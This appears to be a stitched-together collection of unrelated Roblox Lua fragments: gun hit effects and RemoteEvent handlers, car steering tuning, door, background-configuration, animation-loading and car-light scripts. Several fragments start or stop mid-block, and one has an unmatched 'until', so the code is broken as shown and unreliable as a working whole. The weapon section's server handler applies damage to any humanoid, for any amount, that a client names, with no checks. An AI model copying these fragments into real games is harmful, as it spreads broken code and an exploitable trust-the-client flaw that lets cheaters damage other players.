L_63_.Color = Color3.new(0, 0, 0)
L_63_.Range = 0
L_63_.Shadows = true
game.Debris:AddItem(L_61_, 3)
local L_64_
local L_65_
if L_58_arg6 == "Part" then
L_64_ = L_19_:WaitForChild("Spark"):clone()
L_64_.Parent = L_61_
L_64_.EmissionDirection = "Top"
L_65_ = L_19_:WaitForChild("Smoke"):clone()
L_65_.Parent = L_61_
L_65_.EmissionDirection = "Top"
L_64_.Enabled = true
L_65_.Enabled = true
game.Debris:AddItem(L_64_, 1)
game.Debris:AddItem(L_65_, 1)
delay(0.1, function()
L_64_.Enabled = false
L_65_.Enabled = false
end)
elseif L_58_arg6 == "Human" then
L_64_ = L_19_:WaitForChild("Blood"):clone()
L_64_.Parent = L_61_
L_64_.EmissionDirection = "Top"
L_64_.Enabled = true
game.Debris:AddItem(L_64_, 1)
delay(0.1, function()
L_64_.Enabled = false
end)
end
elseif L_60_arg8 == 'Explosive' then
local L_66_ = L_19_:WaitForChild('ExplosionSound'):clone()
L_66_.Parent = L_61_
L_66_:Play()
game.Debris:AddItem(L_61_, 3)
local L_67_ = Instance.new('Explosion')
L_67_.Parent = L_61_
L_67_.DestroyJointRadiusPercent = 10
L_67_.ExplosionType = Enum.ExplosionType.NoCraters
L_67_.Position = L_61_.Position
end;
end
end;
L_25_.OnServerEvent:connect(function(L_68_arg1, L_69_arg2)
for L_70_forvar1, L_71_forvar2 in pairs(game.Players:GetChildren()) do
if L_71_forvar2:IsA('Player') and L_71_forvar2.PlayerGui:FindFirstChild('MainGui') and L_71_forvar2.PlayerGui.MainGui:FindFirstChild('Shading') then
for L_72_forvar1, L_73_forvar2 in pairs(L_71_forvar2.Character:GetChildren()) do
if L_73_forvar2:IsA('Tool') and L_73_forvar2:FindFirstChild('Resource') and L_73_forvar2.Resource:FindFirstChild('Events') and L_73_forvar2.Resource.Events:FindFirstChild('ServerFXEvent') then
L_73_forvar2.Resource.Events.ServerFXEvent:FireClient(L_71_forvar2, L_69_arg2, L_68_arg1)
end
end
end
end
end)
local L_30_
L_27_.OnServerEvent:connect(function(L_74_arg1, L_75_arg2, L_76_arg3)
L_75_arg2:TakeDamage(L_76_arg3)
if L_75_arg2.Health <= 0 and L_75_arg2 ~= L_30_ then
if L_20_ and L_20_:FindFirstChild(L_74_arg1.Name) then
local L_77_ = L_20_[L_74_arg1.Name]
L_77_.Value = not L_77_.Value
end
L_30_ = L_75_arg2
end
end)
L_28_.OnServerEvent:connect(function(L_78_arg1, L_79_arg2)
local L_80_ = Instance.new("ObjectValue")
L_80_.Name = "creator"
L_80_.Value = L_78_arg1
L_80_.Parent = L_79_arg2
game.Debris:AddItem(L_80_, 3)
end)
|
--[[Steering]] |
Tune.SteerInner = 25 -- Inner wheel steering angle (in degrees) 21
Tune.SteerOuter = 23 -- Outer wheel steering angle (in degrees) 19
Tune.SteerSpeed = .08 -- Steering increment per tick (in degrees) .12
Tune.ReturnSpeed = .1 -- Steering increment per tick (in degrees) .1
Tune.SteerDecay = 320 -- Speed of gradient cutoff (in SPS) 320
Tune.MinSteer = 1 -- Minimum steering at max steer decay (in percent) 1
Tune.MSteerExp = 1 -- Mouse steering exponential degree 1
--Steer Gyro Tuning
Tune.SteerD = 1000 -- Steering Dampening
Tune.SteerMaxTorque = 50000 -- Steering Force
Tune.SteerP = 20000 -- Steering Aggressiveness
|
---------END LEFT DOOR |
game.Workspace.DoorValues.Moving.Value = true
game.Workspace.DoorClosed.Value = false
wait(0.1)
until game.Workspace.DoorValues.Close.Value==45 --how much you want to open - the lower the number, the wider the door opens.
end
game.Workspace.DoorValues.Moving.Value = false
end
end
script.Parent.ClickDetector.MouseClick:connect(onClicked)
|
-- Configuration does not work well with arrays so convert the backgrounds into
-- a dictionary. |
local backgroundsDict = {}
for index, assetId in ipairs(DEFAULT_BACKGROUNDS) do
backgroundsDict[assetId] = {
image = assetId,
order = index,
}
end
local validator = t.map(
t.string,
t.strictInterface({
image = t.match("rbxassetid://[0-9]+"),
order = t.number,
})
)
local backgrounds = Configuration.new("backgrounds", backgroundsDict, validator)
return backgrounds
|
------------------------------------------------------------------------------------------------------------ |
function configureAnimationSetOld(name, fileList)
if (animTable[name] ~= nil) then
for _, connection in pairs(animTable[name].connections) do
connection:disconnect()
end
end
animTable[name] = {}
animTable[name].count = 0
animTable[name].totalWeight = 0
animTable[name].connections = {}
local allowCustomAnimations = true
local AllowDisableCustomAnimsUserFlag = false
local success, msg = pcall(function()
AllowDisableCustomAnimsUserFlag = UserSettings():IsUserFeatureEnabled("UserAllowDisableCustomAnims2")
end)
if (AllowDisableCustomAnimsUserFlag) then
local success, msg = pcall(function() allowCustomAnimations = game:GetService("StarterPlayer").AllowCustomAnimations end)
if not success then
allowCustomAnimations = true
end
end
-- check for config values
local config = script:FindFirstChild(name)
if (allowCustomAnimations and config ~= nil) then
table.insert(animTable[name].connections, config.ChildAdded:connect(function(child) configureAnimationSet(name, fileList) end))
table.insert(animTable[name].connections, config.ChildRemoved:connect(function(child) configureAnimationSet(name, fileList) end))
local idx = 1
for _, childPart in pairs(config:GetChildren()) do
if (childPart:IsA("Animation")) then
table.insert(animTable[name].connections, childPart.Changed:connect(function(property) configureAnimationSet(name, fileList) end))
animTable[name][idx] = {}
animTable[name][idx].anim = childPart
local weightObject = childPart:FindFirstChild("Weight")
if (weightObject == nil) then
animTable[name][idx].weight = 1
else
animTable[name][idx].weight = weightObject.Value
end
animTable[name].count = animTable[name].count + 1
animTable[name].totalWeight = animTable[name].totalWeight + animTable[name][idx].weight
idx = idx + 1
end
end
end
-- fallback to defaults
if (animTable[name].count <= 0) then
for idx, anim in pairs(fileList) do
animTable[name][idx] = {}
animTable[name][idx].anim = Instance.new("Animation")
animTable[name][idx].anim.Name = name
animTable[name][idx].anim.AnimationId = anim.id
animTable[name][idx].weight = anim.weight
animTable[name].count = animTable[name].count + 1
animTable[name].totalWeight = animTable[name].totalWeight + anim.weight
-- print(name .. " [" .. idx .. "] " .. anim.id .. " (" .. anim.weight .. ")")
end
end
-- preload anims
if PreloadAnimsUserFlag then
for i, animType in pairs(animTable) do
for idx = 1, animType.count, 1 do
Humanoid:LoadAnimation(animType[idx].anim)
end
end
end
end
|
--- |
if script.Parent.Parent.Parent.IsOn.Value then
script.Parent.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
end
script.Parent.Parent.Parent.IsOn.Changed:connect(function()
if script.Parent.Parent.Parent.IsOn.Value then
script.Parent.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
end
end)
script.Parent.MouseButton1Click:connect(function()
if car.Body.Lights.L.L.L.Enabled == false and car.Body.Lights.H.L.L.Enabled == false then
script.Parent.BackgroundColor3 = Color3.new(0,255/255,0)
script.Parent.TextStrokeColor3 = Color3.new(0,255/255,0)
car.Body.Lights.R.L.L.Enabled = true
car.Body.Lights.PLATE.L.GUI.Enabled = true
for index, child in pairs(car.Body.Lights.L:GetChildren()) do
child.Material = Enum.Material.Neon
child.L.Enabled = true
end
for index, child in pairs(car.Body.Lights.R:GetChildren()) do
child.Material = Enum.Material.Neon
end
for index, child in pairs(car.Body.Lights.H:GetChildren()) do
child.Material = Enum.Material.SmoothPlastic
child.L.Enabled = false
end
elseif car.Body.Lights.L.L.L.Enabled == true and car.Body.Lights.H.L.L.Enabled == false then
script.Parent.BackgroundColor3 = Color3.new(0,0,255/255)
script.Parent.TextStrokeColor3 = Color3.new(0,0,255/255)
car.Body.Lights.R.L.L.Enabled = true
car.Body.Lights.PLATE.L.GUI.Enabled = true
for index, child in pairs(car.Body.Lights.L:GetChildren()) do
child.Material = Enum.Material.Neon
child.L.Enabled = true
end
for index, child in pairs(car.Body.Lights.R:GetChildren()) do
child.Material = Enum.Material.Neon
end
for index, child in pairs(car.Body.Lights.H:GetChildren()) do
child.Material = Enum.Material.Neon
child.L.Enabled = true
end
elseif car.Body.Lights.L.L.L.Enabled == true and car.Body.Lights.H.L.L.Enabled == true then
script.Parent.BackgroundColor3 = Color3.new(0,0,0)
script.Parent.TextStrokeColor3 = Color3.new(0,0,0)
car.Body.Lights.R.L.L.Enabled = false
car.Body.Lights.PLATE.L.GUI.Enabled = false
for index, child in pairs(car.Body.Lights.L:GetChildren()) do
child.Material = Enum.Material.SmoothPlastic
child.L.Enabled = false
end
for index, child in pairs(car.Body.Lights.R:GetChildren()) do
child.Material = Enum.Material.SmoothPlastic
end
for index, child in pairs(car.Body.Lights.H:GetChildren()) do
child.Material = Enum.Material.SmoothPlastic
child.L.Enabled = false
end
end
end)
script.Parent.Parent.Parent.Values.Brake.Changed:connect(function()
if script.Parent.Parent.Parent.Values.Brake.Value ~= 1 and script.Parent.Parent.Parent.IsOn.Value then
for index, child in pairs(car.Body.Lights.B:GetChildren()) do
child.Material = Enum.Material.SmoothPlastic
end
car.Body.Lights.B.L.L.Enabled = false
else
for index, child in pairs(car.Body.Lights.B:GetChildren()) do
child.Material = Enum.Material.Neon
end
car.Body.Lights.B.L.L.Enabled = true
end
end)
script.Parent.Parent.Parent.Values.Gear.Changed:connect(function()
if script.Parent.Parent.Parent.Values.Gear.Value == -1 then
for index, child in pairs(car.Body.Lights.Rev:GetChildren()) do
child.Material = Enum.Material.Neon
car.DriveSeat.Reverse:Play()
end
else
for index, child in pairs(car.Body.Lights.Rev:GetChildren()) do
child.Material = Enum.Material.SmoothPlastic
car.DriveSeat.Reverse:Stop()
end
end
end)
mouse.KeyDown:connect(function(key)
if key=="l" then
if car.Body.Intlight.L.Enabled == false then
car.Body.Intlight.L.Enabled = true
else
car.Body.Intlight.L.Enabled = false
end
end
end)
while wait() do
if (car.DriveSeat.Velocity.magnitude/40)+0.300 < 1.3 then
car.DriveSeat.Reverse.Pitch = (car.DriveSeat.Velocity.magnitude/40)+0.300
car.DriveSeat.Reverse.Volume = (car.DriveSeat.Velocity.magnitude/150)
else
car.DriveSeat.Reverse.Pitch = 1.3
car.DriveSeat.Reverse.Volume = .2
end
end
|